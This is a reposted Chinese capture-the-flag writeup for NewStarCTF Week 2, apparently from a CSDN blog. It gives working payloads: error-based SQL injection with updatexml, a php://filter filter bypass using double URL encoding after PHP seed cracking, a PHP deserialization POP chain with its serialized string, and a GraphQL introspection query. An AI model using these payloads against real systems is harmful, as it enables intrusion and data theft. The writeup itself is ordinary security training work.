我的编程空间,编程开发者的网络收藏夹
学习永远不晚

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup

文章目录


WEEK2

WEB

Word-For-You(2 Gen)

题目描述

哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘记删除了

报错注入

/comments.php?name=1'and updatexml(1,concat(0x7e,database(),0x7e),1)--+
Current Database: wfy
/comments.php?name=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+/comments.php?name=1'and updatexml(1,concat(0x7e,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=database()),0x7e),1)--+
Tables in database(wfy): wfy_admin,wfy_comments,wfy_information
/comments.php?name=1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wfy_comments'),0x7e),1)--+
Columns in table(wfy_comments): id,text,user,name,display
/comments.php?name=1'and updatexml(1,concat(0x7e,(select right(group_concat(text),30) from wfy.wfy_comments),0x7e),1)--+

在这里插入图片描述

IncludeOne

 <?phphighlight_file(__FILE__);error_reporting(0);include("seed.php");//mt_srand(*********);echo "Hint: ".mt_rand()."
"
;if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){ if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){ //flag in `flag.php` include($_GET['file']); }else{ echo "Baby Hacker?"; }}else{ echo "No Hacker!";} Hint: 1219893521

首先爆破伪随机数:https://www.openwall.com/php_mt_seed/

root@mochu7-pc:/mnt/d/Tools/Web/CTF/php_mt_seed# ./php_mt_seed 1219893521Pattern: EXACTVersion: 3.0.7 to 5.2.0Found 0, trying 0xfc000000 - 0xffffffff, speed 18382.0 Mseeds/sVersion: 5.2.1+Found 0, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/sseed = 0x0011793a = 1145146 (PHP 7.1.0+)Found 1, trying 0x16000000 - 0x17ffffff, speed 183.6 Mseeds/sseed = 0x161c5abb = 370956987 (PHP 5.2.1 to 7.0.x; HHVM)Found 2, trying 0x64000000 - 0x65ffffff, speed 177.0 Mseeds/sseed = 0x64a22f28 = 1688350504 (PHP 5.2.1 to 7.0.x; HHVM)seed = 0x64a22f28 = 1688350504 (PHP 7.1.0+)Found 4, trying 0xc4000000 - 0xc5ffffff, speed 170.5 Mseeds/sseed = 0xc4b59923 = 3300235555 (PHP 5.2.1 to 7.0.x; HHVM)seed = 0xc4b59923 = 3300235555 (PHP 7.1.0+)seed = 0xc4efe664 = 3304056420 (PHP 5.2.1 to 7.0.x; HHVM)seed = 0xc4efe664 = 3304056420 (PHP 7.1.0+)Found 8, trying 0xfe000000 - 0xffffffff, speed 168.2 Mseeds/sFound 8
PS C:\Users\Administrator\Downloads> php -r "mt_srand(1145146);mt_rand();var_dump(mt_rand());"Command line code:1:int(1202031004)

第二层使用伪协议,php://filter/协议自带一层url解码,这样双层url编码可以绕这里的过滤,至于NewStar关键字可以用管道符分隔开用作过滤器(错误的过滤器也不会报错)

/?file=php://filter/read=convert.ba%25%37%33e64-encode|NewStar/resource=flag.phpguess=1202031004

在这里插入图片描述

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('PD9waHAgLy9mbGFnezc4YWY5ZjhhLTljMGUtNDJmNS1hYmY5LWFkOWUyY2FhZjE0Nn0K'));"Command line code:1:string(51) "

UnserializeOne

 <?phperror_reporting(0);highlight_file(__FILE__);class Start{    public $name;    protected $func;    public function __destruct()    {        echo "Welcome to NewStarCTF, ".$this->name;    }    public function __isset($var)    {        ($this->func)();    }}class Sec{    private $obj;    private $var;    public function __toString()    {        $this->obj->check($this->var);        return "CTFers";    }    public function __invoke()    {        echo file_get_contents('/flag');    }}class Easy{    public $cla;    public function __call($fun, $var)    {        $this->cla = clone $var[0];    }}class eeee{    public $obj;    public function __clone()    {        if(isset($this->obj->cmd)){            echo "success";        }    }}if(isset($_POST['pop'])){    unserialize($_POST['pop']);}

POP链

Sec::__invoke() <- Start::__isset() <- eeee::__clone() <- Easy::__call() <- Sec::__toString() <- Start::__destruct()
 class Start{    public $name;    public $func;}class Sec{    public $obj;    public $var;}class Easy{    public $cla;}class eeee{    public $obj;}$start = new Start();$sec = new Sec();$easy = new Easy();$eeee = new eeee();$eeee->obj = $start;$sec->obj = $easy;$sec->var = $eeee;$start->name = $sec;$start->func = $sec;echo serialize($start); ?>
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}

在这里插入图片描述

ezAPI

在这里插入图片描述
www.zip提供了源码

                error_reporting(0);                $id = $_POST['id'];                function waf($str)                {                    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {                        return False;                    } else {                        return True;                    }                }                function send($data)                {                    $options = array(                        'http' => array('method' => 'POST','header' => 'Content-type: application/json','content' => $data,'timeout' => 10 * 60                        )                    );                    $context = stream_context_create($options);                    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);                    return $result;                }                if (isset($id)) {                    if (waf($id)) {                        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';                        $res = json_decode(send($data));                        if ($res->data->users_user_by_pk->name !== NULL) {echo "ID: " . $id . "
Name: "
. $res->data->users_user_by_pk->name; } else {echo "Can't found it!

DEBUG: "
;var_dump($res->data); } } else { die("Hacker! Only Number!"); } } else { die("No Data?"); } ?>

$_POST['data']可以传入GraphQL查询语句

开启了Debug模式,由于GraphQL自带强大的内省自检机制,可以查询出GraphQL中所有的QueryMutaionObjectTypeFieldArguments

id=1&data={"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

右键查看源码

在这里插入图片描述
直接关键字搜索flag,找到了ffffllllaaagggg_1n_h3r3_flagflag字段,尝试直接查询

id=1&data={"query":"query{ffffllllaaagggg_1n_h3r3_flag{flag}}"}

在这里插入图片描述

MISC

Yesec no drumsticks 2

在这里插入图片描述
零宽度字符隐写:https://330k.github.io/misc_tools/unicode_steganography.html

在这里插入图片描述
Base家族识别:https://basecrack.herokuapp.com/

在这里插入图片描述

>>> bytes.fromhex('666c61677b496e6772336431656e745f30465f59657365635f69355f4f4f4f4f4f7d')b'flag{Ingr3d1ent_0F_Yesec_i5_OOOOO}'

Coldwinds’s Desktop

在这里插入图片描述

montage *.PNG -tile 12x12 -geometry 30x30+0+0 flag.pnggaps --image=flag.png --generations=50 --population=144 --size=30 --verbose

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

flag{Y0u_successfu11y_s01ved_the_puzz1e}

奇怪的二维码

在这里插入图片描述
很明显是一种QR Code,但是使用这个:https://products.aspose.app/barcode/recognize
识别不出来

code.png末尾附加了一张PNG图片

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
PS加上中间的定位符就行

在这里插入图片描述
然后用这个站:https://products.aspose.app/barcode/recognize

识别就行了

在这里插入图片描述

flag{Aztec_from_Age_0f_Empires}

qsdz’s girlfriend 2

题目描述

据说qsdz的girlfriend是会变化的猫猫。flag{图片中的文字}

猫变换

from PIL import Imageimg = Image.open('girlfriend.png')if img.mode == "P":    img = img.convert("RGB")assert img.size[0] == img.size[1]dim = width, height = img.sizest = 0x61a = 0x726eb = 0x6f6c64for _ in range(st):    with Image.new(img.mode, dim) as canvas:        for nx in range(img.size[0]):            for ny in range(img.size[0]):                y = (ny - nx * a) % width                x = (nx - y * b) % height                canvas.putpixel((y, x), img.getpixel((ny, nx)))canvas.show()canvas.save('flag.png')

在这里插入图片描述

flag{按理说这个点猪也该醒了}

来源地址:https://blog.csdn.net/mochu7777777/article/details/127152423

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录